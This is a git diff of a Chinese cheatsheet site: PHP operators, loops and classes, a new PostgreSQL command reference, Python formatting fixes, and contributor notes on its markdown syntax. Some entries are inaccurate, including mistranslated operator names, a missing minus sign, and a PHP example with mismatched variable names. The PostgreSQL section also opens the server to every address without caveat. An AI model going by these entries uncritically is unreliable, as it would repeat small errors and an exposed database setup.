```php
$arr = ["foo" => "bar", "bar" => "foo"];
foreach ( $arr as $key => $value )
{
echo "key: " . $key . "\n";
echo "val: {$arr[$key]}\n";
}
```
### 串联阵列
```php
$a = [1, 2];
$b = [3, 4];
// PHP 7.4 以后
# => [1, 2, 3, 4]
$result = [...$a, ...$b];
```
### Into 函数
```php
$array = [1, 2];
function foo(int $a, int $b) {
echo $a; # => 1
echo $b; # => 2
}
foo(...$array);
```
### Splat运算符
```php
function foo($first, ...$other) {
var_dump($first); # => a
var_dump($other); # => ['b', 'c']
}
foo('a', 'b', 'c' /*, ...*/ );
// 或
function foo($first, string ...$other){}
```
PHP 运算符
-------
### 算术
:- | -
:- | -
`+` | 添加
`-` | 减法
`*` | 乘法
`/` | 分配
`%` | 取模
`**` | 求幂
### 分配
:- | -
:- | -
`a += b` | 如同 `a = a + b`
`a -= b` | 如同 `a = a b`
`a *= b` | 如同 `a = a * b`
`a /= b` | 如同 `a = a / b`
`a %= b` | 如同 `a = a % b`
### 比较
:- | -
:- | -
`==` | 平等的
`===` | 完全相同的
`!=` | 不相等
`<>` | 不相等
`!==` | 不相同
`<` | 少于
`>` | 比...更棒
`<=` | 小于或等于
`>=` | 大于或等于
`<=>` | 小于/等于/大于
### 逻辑的
:- | -
:- | -
`and` | 和
`or` | 或者
`xor` | 独家或
`!` | 不是
`&&` | 和
`\|\|` | 或者
### 算术
```php
// 算术
$sum = 1 + 1; // 2
$difference = 2 - 1; // 1
$product = 2 * 2; // 4
$quotient = 2 / 1; // 2
// 速记算术
$num = 0;
$num += 1; // 将 $num 增加 1
echo $num++; // 打印 1评估后的增量
echo ++$num; // 打印 3评估前的增量
$num /= $float; // 将商除并分配给 $num
```
### 按位
:- | -
:- | -
`&` | 和
`|` | 或(包括或)
`^` | 异或(异或)
`~` | 不是
`<<` | 左移
`>>` | 右移
PHP 条件
------
### If elseif else
```php
$a = 10;
$b = 20;
if ($a > $b) {
echo "a is bigger than b";
} elseif ($a == $b) {
echo "a is equal to b";
} else {
echo "a is smaller than b";
}
```
### Switch
```php
$x = 0;
switch ($x) {
case '0':
print "it's zero";
break;
case 'two':
case 'three':
// do something
break;
default:
// do something
}
```
### 三元运算符
```php
# => Does
print (false ? 'Not' : 'Does');
$x = false;
# => Does
print($x ?: 'Does');
$a = null;
$b = 'Does print';
# => a is unsert
echo $a ?? 'a is unset';
# => print
echo $b ?? 'b is unset';
```
### 匹配
```php
$statusCode = 500;
$message = match($statusCode) {
200, 300 => null,
400 => '未找到',
500 => '服务器错误',
default => '已知状态码',
};
echo $message; # => 服务器错误
```
查看: [Match](https://www.php.net/manual/en/control-structures.match.php)
### 匹配表达式
```php
$age = 23;
$result = match (true) {
$age >= 65 => 'senior',
$age >= 25 => 'adult',
$age >= 18 => 'young adult',
default => 'kid',
};
echo $result; # => young adult
```
PHP 循环
------
### while 循环
```php
$i = 1;
# => 12345
while ($i <= 5) {
echo $i++;
}
```
### do while 循环
```php
$i = 1;
# => 12345
do {
echo $i++;
} while ($i <= 5);
```
### for i 循环
```php
# => 12345
for ($i = 1; $i <= 5; $i++) {
echo $i;
}
```
### break 跳出循环
```php
# => 123
for ($i = 1; $i <= 5; $i++) {
if ($i === 4) {
break;
}
echo $i;
}
```
### continue 继续
```php
# => 1235
for ($i = 1; $i <= 5; $i++) {
if ($i === 4) {
continue;
}
echo $i;
}
```
### foreach 循环
```php
$a = ['foo' => 1, 'bar' => 2];
# => 12
foreach ($a as $k) {
echo $k;
}
```
查看: [Array iteration](#关键迭代)
PHP 函数
------
### 返回值
```php
function square($x)
{
return $x * $x;
}
echo square(4); # => 16
```
### 返回类型
```php
// 基本返回类型声明
function sum($a, $b): float {/*...*/}
function get_item(): string {/*...*/}
class C {}
// 返回一个对象
function getC(): C { return new C; }
```
### 可空返回类型
```php
// 在 PHP 7.1 中可用
function nullOrString(int $v) : ?string
{
return $v % 2 ? "odd" : null;
}
echo nullOrString(3); # => odd
var_dump(nullOrString(4)); # => NULL
```
查看: [Nullable types](https://www.php.net/manual/en/migration71.new-features.php)
### 无效函数
```php
// 在 PHP 7.1 中可用
function voidFunction(): void
{
echo 'Hello';
return;
}
voidFunction(); # => Hello
```
### 变量函数
```php
function bar($arg = '')
{
echo "In bar(); arg: '$arg'.\n";
}
$func = 'bar';
$func('test'); # => In bar(); arg: test
```
### 匿名函数
```php
$greet = function($name)
{
printf("Hello %s\r\n", $name);
};
$greet('World'); # => Hello World
$greet('PHP'); # => Hello PHP
```
### 递归函数
```php
function recursion($x)
{
if ($x < 5) {
echo "$x";
recursion($x + 1);
}
}
recursion(1); # => 1234
```
### 默认参数
```php
function coffee($type = "cappuccino")
{
return "Making a cup of $type.\n";
}
# => 制作一杯卡布奇诺
echo coffee();
# => 制作一杯
echo coffee(null);
# => 制作一杯浓缩咖啡
echo coffee("espresso");
```
### 箭头函数
```php
$y = 1;
$fn1 = fn($x) => $x + $y;
// 相当于按值使用 $y
$fn2 = function ($x) use ($y) {
return $x + $y;
};
echo $fn1(5); # => 6
echo $fn2(5); # => 6
```
PHP 类
------
### 构造函数 Constructor
```php
class Student {
public function __construct($name) {
$this->name = $name;
}
public function print() {
echo "Name: " . $this->name;
}
}
$alex = new Student("Alex");
$alex->print(); # => Name: Alex
```
### 继承 Inheritance
```php
class ExtendClass extends SimpleClass
{
// 重新定义父方法
function displayVar()
{
echo "Extending class\n";
parent::displayVar();
}
}
$extended = new ExtendClass();
$extended->displayVar();
```
### 类变量 Classes variables
<!--rehype:wrap-class=row-span-2-->
```php
class MyClass
{
const MY_CONST = 'value';
static $staticVar = 'static';
// 可见度
public static $var1 = 'pubs';
// 仅限类
private static $var2 = 'pris';
// 类和子类
protected static $var3 = 'pros';
// 类和子类
protected $var6 = 'pro';
// 仅限类
private $var7 = 'pri';
}
```
静态访问
```php
echo MyClass::MY_CONST; # => value
echo MyClass::$staticVar; # => static
```
### 魔术方法
```php
class MyClass
{
// 对象被视为字符串
public function __toString()
{
return $property;
}
// 与 __construct() 相反
public function __destruct()
{
print "Destroying";
}
}
```
### 接口
```php
interface Foo
{
public function doSomething();
}
interface Bar
{
public function doSomethingElse();
}
class Cls implements Foo, Bar
{
public function doSomething() {}
public function doSomethingElse() {}
}
```
各种各样的
------
### 基本错误处理
```php
try {
// 做一点事
} catch (Exception $e) {
// 处理异常
} finally {
echo "Always print!";
}
```
### PHP 8.0 中的异常
<!--rehype:wrap-class=col-span-2-->
```php {.wrap}
$nullableValue = null;
try {
$value = $nullableValue ?? throw new InvalidArgumentException();
} catch (InvalidArgumentException) { // 变量是可选的
// 处理我的异常
echo "print me!";
}
```
### 自定义异常
<!--rehype:wrap-class=row-span-2-->
```php
class MyException extends Exception {
// 做一点事
}
```
用法
```php
try {
$condition = true;
if ($condition) {
throw new MyException('bala');
}
} catch (MyException $e) {
// 处理我的异常
}
```
### Nullsafe 运算符
<!--rehype:wrap-class=row-span-2-->
```php
// 从 PHP 8.0.0 开始,这一行:
$result = $repo?->getUser(5)?->name;
// 相当于下面的代码:
if (is_null($repo)) {
$result = null;
} else {
$user = $repository->getUser(5);
if (is_null($user)) {
$result = null;
} else {
$result = $user->name;
}
}
```
另见: [Nullsafe 运算符](https://wiki.php.net/rfc/nullsafe_operator)
### 常用表达
```php
$str = "Visit Quickref.me";
echo preg_match("/qu/i", $str); # => 1
```
查看: [PHP中的正则表达式](./regex.md#php中的正则表达式)
### fopen() 模式
:- | -
:- | -
`r` | 读
`r+` | 读写,前置
`w` | 写入,截断
`w+` | 读写,截断
`a` | 写,追加
`a+` | 读写,追加
### 运行时定义的常量
```php
define("CURRENT_DATE", date('Y-m-d'));
// 一种可能的表示
echo CURRENT_DATE; # => 2021-01-05
# => CURRENT_DATE is: 2021-01-05
echo 'CURRENT_DATE is: ' . CURRENT_DATE;
```
另见
----
- [PHP 官方中文文档](https://www.php.net/manual/zh/index.php) _(php.net)_
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/php/) _(learnxinyminutes.com)_

629
docs/postgres.md Normal file
View File

@ -0,0 +1,629 @@
PostgreSQL 备忘清单
===
[PostgreSQL](https://www.postgresql.org/docs/current/) 备忘清单为您提供了常用的 PostgreSQL 命令和语句。
入门
---------------
### 入门
切换和连接
```shell
$ sudo -u postgres psql
```
列出所有数据库
```shell
postgres=# \l
```
连接到名为 postgres 的数据库
```shell
postgres=# \c postgres
```
断开
```shell
postgres=# \q
postgres=# \!
```
### psql 命令
<!--rehype:wrap-class=col-span-2-->
参数 | 示例 | 说明
:- |- | -
`[-d] <database>` | psql -d mydb | 连接到数据库
`-U` | psql -U john mydb | 以特定用户身份连接
`-h` `-p` | psql -h localhost -p 5432 mydb | 连接到主机/端口
`-U` `-h` `-p` `-d` | psql -U admin -h 192.168.1.5 -p 2506 -d mydb | 连接远程 PostgreSQL
`-W` | psql -W mydb | 强制密码
`-c` | psql -c '\c postgres' -c '\dt' | 执行 SQL 查询或命令
`-H` | psql -c "\l+" -H postgres > database.html | 生成 HTML 报告
`-l` | psql -l | 列出所有数据库
`-f` | psql mydb -f file.sql | 从文件执行命令
`-V` | psql -V | 打印 psql 版本
<!--rehype:className=show-header-->
### 获得帮助
:- | -
:- | -
`\h` | SQL 命令语法帮助
`\h` DELETE | DELETE SQL 语句语法
`\?` | PostgreSQL 命令列表
在 PostgreSQL 控制台中运行
PostgreSQL 工作
-------
### Recon 观察
显示版本
```sql
SHOW SERVER_VERSION;
```
显示系统状态
```sql
\conninfo
```
显示环境变量
```sql
SHOW ALL;
```
列出用户
```sql
SELECT rolname FROM pg_roles;
```
显示当前用户
```sql
SELECT current_user;
```
显示当前用户的权限
```sql
\du
```
显示当前数据库
```sql
SELECT current_database();
```
显示数据库中的所有表
```sql
\dt
```
列出函数
```sql
\df <schema>
```
### Databases 数据库
列出数据库
```sql
\l
```
连接到数据库
```sql
\c <database_name>
```
显示当前数据库
```sql
SELECT current_database();
```
[创建数据库](http://www.postgresql.org/docs/current/static/sql-createdatabase.html)
```sql
CREATE DATABASE <database_name> WITH OWNER <username>;
```
<!--rehype:className=wrap-text-->
[删除数据库](http://www.postgresql.org/docs/current/static/sql-dropdatabase.html)
```sql
DROP DATABASE IF EXISTS <database_name>;
```
<!--rehype:className=wrap-text-->
[重命名数据库](http://www.postgresql.org/docs/current/static/sql-alterdatabase.html)
```sql
ALTER DATABASE <old_name> RENAME TO <new_name>;
```
<!--rehype:className=wrap-text-->
### Tables 表
列出当前数据库中的表
```sql
\dt
SELECT table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;
```
<!--rehype:className=wrap-text-->
全局列表
```sql
\dt *.*.
SELECT * FROM pg_catalog.pg_tables
```
列表表架构
```sql
\d <table_name>
\d+ <table_name>
SELECT column_name, data_type, character_maximum_length
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = '<table_name>';
```
<!--rehype:className=wrap-text-->
[创建表](http://www.postgresql.org/docs/current/static/sql-createtable.html)
```sql
CREATE TABLE <table_name>(
<column_name> <column_type>,
<column_name> <column_type>
);
```
创建表,主键自增
```sql
CREATE TABLE <table_name> (
<column_name> SERIAL PRIMARY KEY
);
```
[删除表](http://www.postgresql.org/docs/current/static/sql-droptable.html)
```sql
DROP TABLE IF EXISTS <table_name> CASCADE;
```
### Permissions 权限
成为 postgres 用户,如果您有权限错误
```shell
sudo su - postgres
psql
```
[授予](http://www.postgresql.org/docs/current/static/sql-grant.html) 对数据库的所有权限
```sql
GRANT ALL PRIVILEGES ON DATABASE <db_name> TO <user_name>;
```
<!--rehype:className=wrap-text-->
授予数据库连接权限
```sql
GRANT CONNECT ON DATABASE <db_name> TO <user_name>;
```
<!--rehype:className=wrap-text-->
授予架构权限
```sql
GRANT USAGE ON SCHEMA public TO <user_name>;
```
授予函数权限
```sql
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO <user_name>;
```
<!--rehype:className=wrap-text-->
授予在所有表上选择、更新、插入、删除的权限
```sql
GRANT SELECT, UPDATE, INSERT ON ALL TABLES IN SCHEMA public TO <user_name>;
```
<!--rehype:className=wrap-text-->
在表上授予权限
```sql
GRANT SELECT, UPDATE, INSERT ON <table_name> TO <user_name>;
```
<!--rehype:className=wrap-text-->
授予对表的选择权限
```sql
GRANT SELECT ON ALL TABLES IN SCHEMA public TO <user_name>;
```
<!--rehype:className=wrap-text-->
### Columns 列
[添加栏目](http://www.postgresql.org/docs/current/static/sql-altertable.html)
```sql
ALTER TABLE <table_name> IF EXISTS
ADD <column_name> <data_type> [<constraints>];
```
<!--rehype:className=wrap-text-->
更新栏
```sql
ALTER TABLE <table_name> IF EXISTS
ALTER <column_name> TYPE <data_type> [<constraints>];
```
<!--rehype:className=wrap-text-->
删除列
```sql
ALTER TABLE <table_name> IF EXISTS
DROP <column_name>;
```
将列更新为自增主键
```sql
ALTER TABLE <table_name>
ADD COLUMN <column_name> SERIAL PRIMARY KEY;
```
<!--rehype:className=wrap-text-->
使用自动递增的主键插入表中
```sql
INSERT INTO <table_name>
VALUES (DEFAULT, <value1>);
INSERT INTO <table_name> (<column1_name>,<column2_name>)
VALUES ( <value1>,<value2> );
```
<!--rehype:className=wrap-text-->
### Data 数据
[选择](http://www.postgresql.org/docs/current/static/sql-select.html) 所有数据
```sql
SELECT * FROM <table_name>;
```
读取一行数据
```sql
SELECT * FROM <table_name> LIMIT 1;
```
搜索数据
```sql
SELECT * FROM <table_name> WHERE <column_name> = <value>;
```
<!--rehype:className=wrap-text-->
[插入](http://www.postgresql.org/docs/current/static/sql-insert.html) 数据
```sql
INSERT INTO <table_name> VALUES( <value_1>, <value_2> );
```
<!--rehype:className=wrap-text-->
[更新](http://www.postgresql.org/docs/current/static/sql-update.html) 数据
```sql
UPDATE <table_name>
SET <column_1> = <value_1>, <column_2> = <value_2>
WHERE <column_1> = <value>;
```
<!--rehype:className=wrap-text-->
[删除](http://www.postgresql.org/docs/current/static/sql-delete.html) 所有数据
```sql
DELETE FROM <table_name>;
```
删除特定数据
```sql
DELETE FROM <table_name>
WHERE <column_name> = <value>;
```
### Users 用户
<!--rehype:wrap-class=col-span-2-->
列出角色
```sql
SELECT rolname FROM pg_roles;
```
[创建用户](http://www.postgresql.org/docs/current/static/sql-createuser.html)
```sql
CREATE USER <user_name> WITH PASSWORD '<password>';
```
[删除用户](http://www.postgresql.org/docs/current/static/sql-dropuser.html)
```sql
DROP USER IF EXISTS <user_name>;
```
[更改](http://www.postgresql.org/docs/current/static/sql-alterrole.html) 用户密码
```sql
ALTER ROLE <user_name> WITH PASSWORD '<password>';
```
### Schema
列出 Schemas
```sql
\dn
SELECT schema_name FROM information_schema.schemata;
SELECT nspname FROM pg_catalog.pg_namespace;
```
[创建架构](http://www.postgresql.org/docs/current/static/sql-createschema.html)
```sql
CREATE SCHEMA IF NOT EXISTS <schema_name>;
```
[删除模式](http://www.postgresql.org/docs/current/static/sql-dropschema.html)
```sql
DROP SCHEMA IF EXISTS <schema_name> CASCADE;
```
PostgreSQL 命令
-----------
### 表
:- | -
:- | -
`\d <table>` | 描述表
`\d+ <table>` | 详细描述表格
`\dt` | 列出当前模式中的表
`\dt *.*` | 列出所有模式中的表
`\dt <schema>.*` | 列出架构的表
`\dp` | 列出表访问权限
`\det[+]` | 列出外部表
### 查询缓冲区
:- | -
:- | -
`\e [FILE]` | 编辑查询缓冲区(或文件)
`\ef [FUNC]` | 编辑函数定义
`\p` | 显示内容
`\r` | 重置(清除)查询缓冲区
`\s [FILE]` | 显示历史记录或保存到文件
`\w FILE` | 将查询缓冲区写入文件
### 信息
<!--rehype:wrap-class=row-span-4-->
:- | -
:- | -
`\l[+]` | 列出所有数据库
`\dn[S+]` | 列出架构
`\di[S+]` | 列出索引
`\du[+]` | 列出角色
`\ds[S+]` | 列出序列
`\df[antw][S+]` | 列出函数
`\deu[+]` | 列出用户映射
`\dv[S+]` | 列表视图
`\dl` | 列出大对象
`\dT[S+]` | 列出数据类型
`\da[S]` | 列出聚合
`\db[+]` | 列出表空间
`\dc[S+]` | 列出转化
`\dC[+]` | 列出演员表
`\ddp` | 列出默认权限
`\dd[S]` | 显示对象描述
`\dD[S+]` | 列出域
`\des[+]` | 列出国外服务器
`\dew[+]` | 列出外部数据包装器
`\dF[+]` | 列出文本搜索配置
`\dFd[+]` | 列出文本搜索词典
`\dFp[+]` | 列出文本搜索解析器
`\dFt[+]` | 列出文本搜索模板
`\dL[S+]` | 列出程序语言
`\do[S]` | 列出运算符
`\dO[S+]` | 列出排序规则
`\drds` | 列出每个数据库的角色设置
`\dx[+]` | 列出扩展
`S`:显示系统对象,`+`:附加细节
### 连接
:- | -
:- | -
`\c [DBNAME]` | 连接到新数据库
`\encoding [ENCODING]` | 显示或设置客户端编码
`\password [USER]` | 更改密码
`\conninfo` | 显示信息
### 格式化
:- | -
:- | -
`\a` | 在未对齐和对齐之间切换
`\C [STRING]` | 设置表格标题,如果没有则取消设置
`\f [STRING]` | 显示或设置未对齐的字段分隔符
`\H` | 切换 HTML 输出模式
`\t [on\|off]` | 仅显示行
`\T [STRING]` | 设置或取消设置 HTML \<table\> 标签属性
`\x [on\|off]` | 切换扩展输出
### 输入输出
:- | -
:- | -
`\copy ...` | 导入/导出表 _另见_ [复制](#导入导出-csv)
`\echo [STRING]` | 打印字符串
`\i FILE` | 执行文件
`\o [FILE]` | 将所有结果导出到文件
`\qecho [STRING]` | 输出流的字符串
### 变量
:- | -
:- | -
`\prompt [TEXT] NAME` | 设置变量
`\set [NAME [VALUE]]` | 设置变量 _(如果没有参数,则列出所有变量)_
`\unset NAME` | 删除变量
### 杂项
:- | -
:- | -
`\cd [DIR]` | 更改目录
`\timing [on\|off]` | 切换时间
`\! [COMMAND]` | 在shell中执行
`\! ls -l` | 在shell中列出所有
### 大对象
- `\lo_export LOBOID FILE`
- `\lo_import FILE [COMMENT]`
- `\lo_list`
- `\lo_unlink LOBOID`
各种各样的
-------------
### 备份
使用 pg_dumpall 备份所有数据库
```shell
$ pg_dumpall -U postgres > all.sql
```
使用 pg_dump 备份数据库
```shell
$ pg_dump -d mydb -f mydb_backup.sql
```
- &nbsp; `-a` &nbsp; 只转储数据,而不是模式(schema)
- &nbsp; `-s` &nbsp; 只转储模式,不转储数据
- &nbsp; `-c` &nbsp; 在重新创建之前删除数据库
- &nbsp; `-C` &nbsp; 还原前创建数据库
- &nbsp; `-t` &nbsp; 仅转储命名表
- &nbsp; `-F` &nbsp; 格式(`c`:自定义,`d`:目录,`t`tar)
<!--rehype:className=style-none-->
使用 `pg_dump -?` 获取完整的选项列表
### 恢复
使用 psql 恢复数据库
```shell
$ psql -U user mydb < mydb_backup.sql
```
使用 pg_restore 恢复数据库
```shell
$ pg_restore -d mydb mydb_backup.sql -c
```
- &nbsp; `-U` &nbsp; 指定数据库用户
- &nbsp; `-c` &nbsp; 在重新创建之前删除数据库
- &nbsp; `-C` &nbsp; 还原前创建数据库
- &nbsp; `-e` &nbsp; 如果遇到错误退出
- &nbsp; `-F` &nbsp; 格式(`c`:自定义,`d`:目录,`t`:tar`p`:纯文本sql(默认))
<!--rehype:className=style-none-->
使用 `pg_restore -?` 获取完整的选项列表
### 远程访问
获取 postgresql.conf 的位置
```shell
$ psql -U postgres -c 'SHOW config_file'
```
附加到 postgresql.conf
```shell
listen_addresses = '*'
```
附加到 pg_hba.conf(与 postgresql.conf 相同的位置)
```shell
host all all 0.0.0.0/0 md5
host all all ::/0 md5
```
重启 PostgreSQL 服务器
```shell
$ sudo systemctl restart postgresql
```
### 导入/导出 CSV
将表格导出为 CSV 文件
```sql
\copy table TO '<path>' CSV
\copy table(col1,col1) TO '<path>' CSV
\copy (SELECT...) TO '<path>' CSV
```
将 CSV 文件导入表格
```sql
\copy table FROM '<path>' CSV
\copy table(col1,col1) FROM '<path>' CSV
```
另见:[复制](https://www.postgresql.org/docs/current/sql-copy.html)
另见
----
- [Posgres-cheatsheet](https://gist.github.com/apolloclark/ea5466d5929e63043dcf#posgres-cheatsheet) _(gist.github.com)_

View File

@ -57,6 +57,7 @@ llo
查看: [Strings](#python-字符串)
### Lists
```python
mylist = []
mylist.append(1)
@ -67,8 +68,7 @@ for item in mylist:
查看: [Lists](#python-lists)
### If Else
### If Else
```python
num = 200
@ -77,6 +77,7 @@ if num > 0:
else:
print("num is not greater than 0")
```
查看: [流程控制](#python-流程控制)
### 循环
@ -88,8 +89,8 @@ for item in range(6):
else:
print("Finally finished!")
```
查看: [Loops](#python-循环)
查看: [Loops](#python-循环)
### 函数
@ -101,7 +102,7 @@ else:
来自函数的你好
```
查看: [Functions](#python-functions)
查看: [Functions](#函数)
### 文件处理
<!--rehype:wrap-class=col-span-2-->
@ -124,7 +125,7 @@ result = 16 / 4 # => 4.0 (Float Division)
result = 16 // 4 # => 4 (Integer Division)
result = 25 % 2 # => 1
result = 5 ** 3 # => 125
```
```
`/` 表示 x 和 y 的商,`//` 表示 x 和 y 的底商,另见 [StackOverflow](https://stackoverflow.com/a/183870/13192320)
@ -151,7 +152,7 @@ message += "Part 2."
'10 + 10 = 20'
```
查看: [Python F-Strings](#python-f-strings-since-python)
查看: [Python F-Strings](#f-字符串(Python 3.6+))
Python 数据类型
---------------
@ -165,6 +166,7 @@ multi_string = """Multiline Strings
Lorem ipsum dolor sit amet,
consectetur adipiscing elit """
```
查看: [Strings](#python-字符串)
### 数字
@ -194,8 +196,8 @@ list2 = [True, False, False]
list3 = [1, 5, 7, 9, 3]
list4 = list((1, 5, 7, 9, 3))
```
查看: [Lists](#python-lists)
查看: [Lists](#python-lists)
### 元组 Tuple
@ -361,6 +363,7 @@ o
`len()` 函数返回字符串的长度
### 多份
```python
>>> s = '===+'
>>> n = 8
@ -396,7 +399,9 @@ True
name = "John"
print("Hello, %s!" % name)
```
---
```python
name = "John"
age = 23
@ -782,14 +787,14 @@ while x < 4:
x += 1 # Shorthand for x = x + 1
```
### Break
### Break
```python
x = 0
for index in range(10):
x = index * 10
if index == 5:
break
break
print(x)
```
@ -799,7 +804,7 @@ for index in range(10):
for index in range(3, 8):
x = index * 10
if index == 5:
continue
continue
print(x)
```
@ -948,6 +953,7 @@ with open("myfile.txt") as file:
for line in file:
print(line)
```
#### 带行号
```python
@ -956,7 +962,6 @@ for i, line in enumerate(file, start=1):
print("Number %s: %s" % (i, line))
```
### 字符串
#### 写一个字符串
@ -1082,8 +1087,9 @@ class ChildClass(ParentClass):
print("Child Method")
# 调用父级的 print_test()
super().print_test()
```
---
```
---
```python
>>> child_instance = ChildClass()
@ -1172,7 +1178,8 @@ Yoki.sound() # => Woof!
```python
# 这是单行注释
```
----------
---
```python
""" 可以写多行字符串
@ -1180,7 +1187,9 @@ Yoki.sound() # => Woof!
作为文档。
"""
```
----------
---
```python
''' 可以写多行字符串
使用三个',并且经常使用
@ -1222,4 +1231,11 @@ else: # try/except 块的可选子句。 必须遵循除块
print("All good!") # 仅当 try 中的代码未引发异常时运行
finally: # 在所有情况下执行
print("我们可以在这里清理资源")
```
```
另见
----
- [Python](https://www.python.org/) _(python.org)_
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/python/) _(learnxinyminutes.com)_
- [Regex in python](./regex.md#python-中的正则表达式) _(quickref.me)_

View File

@ -8,7 +8,7 @@ Quick Reference 备忘清单
### 本地编译预览
简单的将仓库克隆下来本地调试页面展示
将仓库克隆本地调试页面。请参阅[贡献指南](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md)了解如何开始
#### 克隆仓库
@ -22,12 +22,101 @@ git clone git@github.com:jaywcjlove/reference.git
```shell
npm i # 安装依赖
npm run build # 编译输出 HTML
npm run start # 监听 md 文件编译输出 HTML
```
HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静态页面在浏览器中打开预览。
```shell
npm run start # 监听 md 文件编译输出 HTML
```
### 目录结构
```bash
.
├── CONTRIBUTING.md # 贡献说明
├── Dockerfile
├── LICENSE
├── README.md # Home(首页) 内容
├── dist # 编译后的静态资源目录
├── docs # Markdown 文档(速查表)
│   ├── bash.md
│   ├── ....
│   └── yaml.md
├── package.json
└── scripts # MD 转 HTML 的编译脚本
├── assets # LOGO 图标文件资源
├── ....
└── watch.mjs
```
### 添加一个备忘清单
一个简单的备忘清单包含 `页面大标题<h1>`,放在大标题下面的 `介绍` 文本,`<h2>` 分类标题,`<h3>` 内容为 `卡片`
```markdown
备忘清单 (页面大标题)
===
这是您可以在当前清单上使用的样式参考!备忘清单介绍
入门 (分类标题)
---
### 介绍 (卡片)
卡片内容
```
上面 markdown 内容存放到 `docs` 目录中,命名为 `xxx.md`
### 首页导航
<!--rehype:wrap-class=col-span-2-->
首页(`README.md`)存放在仓库的根目录,通过这个 `README.md` 自动生成首页导航,下面是导航实例:
```markdown
## Linux 命令
[Cron](./docs/cron.md)<!--rehype:style=background: rgb(239 68 68/var(\-\-bg\-opacity));-->
<!--rehype:class=home-card-->
```
首页导航图标存放在 `scripts/assets` 目录中,如果你的备忘清单定义为 `docs/cron.md`,那么你的图标就定义为 `cron.svg` 存放到 `scripts/assets` 目录中,重新编译首页当行菜单就拥有了图标。
- 图标存放在 [`scripts/assets`](https://github.com/jaywcjlove/reference/blob/main/scripts/assets) 目录中
- 图片名称与清单名称保持一致 `cron.md` -> `cron.svg` (注意大小写)
- SVG 图标尺寸 `<svg height="1em" width="1em"`
- SVG 图标颜色使用继承颜色值 `<svg fill="currentColor"`
- 使用 `<!--rehype:class=home-card-->` 标识卡片样式
### 首页提示配置
```markdown
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=contributing-->
```
<!--rehype:className=wrap-text-->
添加 `contributing` 类名,会在卡片下方默认添加 `👆待完善需要您的参与`
```markdown
class=tag&data-info=👆看看还缺点儿什么?
```
上面示例将默认提示更改为: `👆看看还缺点儿什么?`
```markdown
[Django](./docs/djiango.md)<!--rehype:style=background: rgb(12 75 51/var(\-\-bg\-opacity));&class=tag&data-lang=Python-->
```
<!--rehype:className=wrap-text-->
添加 `class=tag&data-lang=Python` 类名和参数,会在卡片右上角标记 _`Python`_
Markdown 语法注释
---
### 介绍
<!--rehype:wrap-class=row-span-2-->
在备忘清单采用 `HTML 注释语法`,标识网站布局和一些样式,目的是为了在 `GitHub` 中也是正常毫无瑕疵的预览 [`Markdown`](./markdown.md)。
@ -38,12 +127,12 @@ HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静
卡片 Markdown 内容展示,下面注释语法为文字内容改变样式
<!--rehype:style=color: red;-->
```
<!--rehype:className=wrap-text -->
<!--rehype:className=wrap-text-->
使用 `col-span-2` 类标识,卡片占 `2` 列位置
上面基础示例,使用 `col-span-2` 类标识,卡片占 `2` 列位置,参考现有备忘清单的源代码是一个好习惯!
### 注释语法介绍
<!--rehype:wrap-class=row-span-3&style=color:black;background-color: #d7a100;-->
<!--rehype:wrap-class=row-span-4&style=color:black;background-color: #d7a100;-->
- 在某个 [`Markdown`](./markdown.md) 语法下方或者后面,添加 HTML注释
-`<!--rehype:` 开始,`-->` 结束,包裹参数内容
@ -57,7 +146,7 @@ HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静
#### 示例
```markdown
### H2 部分
## H2 部分
<!--rehype:body-class=cols-2-->
### H3 部分
@ -70,7 +159,7 @@ HTML 存放在仓库根目录下的 `dist` 目录中,将 `dist/index.html` 静
### 标题
<!--rehype:wrap-class=row-span-3&style=color:red;-->
```
<!--rehype:className=wrap-text -->
<!--rehype:className=wrap-text-->
#### 参数说明
@ -96,7 +185,7 @@ _我是红色_<!--rehype:style=color: red;-->
**加粗变大红色**
<!--rehype:style=color: red;font-size: 18px-->
```
<!--rehype:className=wrap-text -->
<!--rehype:className=wrap-text-->
上面添加注释样式,文字 _加粗变大红色_<!--rehype:style=color: red;font-size: 18px-->`红`并且`大`
@ -106,12 +195,11 @@ _我是红色_<!--rehype:style=color: red;-->
\```js
function () {}
\```
<!--rehype:className=wrap-text -->
<!--rehype:className=wrap-text-->
```
如果代码块内容太长,使用强制换行类(`wrap-text`)解决
### 展示表格表头
```markdown
@ -150,11 +238,11 @@ export const Student = (
添加注释配置 `<!--rehype:tooltips-->` 添加一个 Tooltips 提示。
### H3 部分(卡片)背景颜色
<!--rehype:wrap-style=background: #00c69357;-->
<!--rehype:wrap-style=background: #8dffd42e;-->
```markdown
### H3 部分(卡片)背景颜色
<!--rehype:wrap-style=background: #00c69357;-->
<!--rehype:wrap-style=background: #8dffd42e;-->
```
<!--rehype:className=wrap-text -->
@ -170,7 +258,7 @@ export const Student = (
### 快捷键样式
| Key | value |
| Key | value |
| ---- | ---- |
| `快捷键` | 说明 |
| `快捷键` | 说明 |
@ -209,41 +297,12 @@ const school = <div>学校</div>;
:- | -
:- | -
`<yel>` | <yel>黄色</yel>
`<red>` | <yel>红色</yel>
`<pur>` | <pur>紫色</pur>
`<code>` 或 <code>\`\`</code> | <code>绿</code>`色`
`<del>``~~删除~~` | <del>~~红色~~</del>
<!--rehype:className=shortcuts-->
### 注释类配置
<!--rehype:wrap-class=col-span-2 row-span-2-->
类 | 说明
---- | ----
`<!--rehype:className=wrap-text-->` | 强制换行
`<!--rehype:className=show-header-->` | 展示表格表头
`<!--rehype:className=shortcuts-->` | 快捷键样式
`<!--rehype:className=auto-wrap-->` | 隐藏表头强制小尺寸自动换行
`<!--rehype:className=style-list-arrow-->` | 列表箭头样式展示表格
`<!--rehype:className=style-list-->` | 列表样式展示表格
`<!--rehype:className=left-align-->` | 表格末尾列左对齐
`<!--rehype:className=style-none-->` | \<li> 没有标记
`<!--rehype:className=style-timeline-->` | 时间轴样式
`<!--rehype:className=style-arrow-->` | 箭头标记
### 隐藏卡片标题
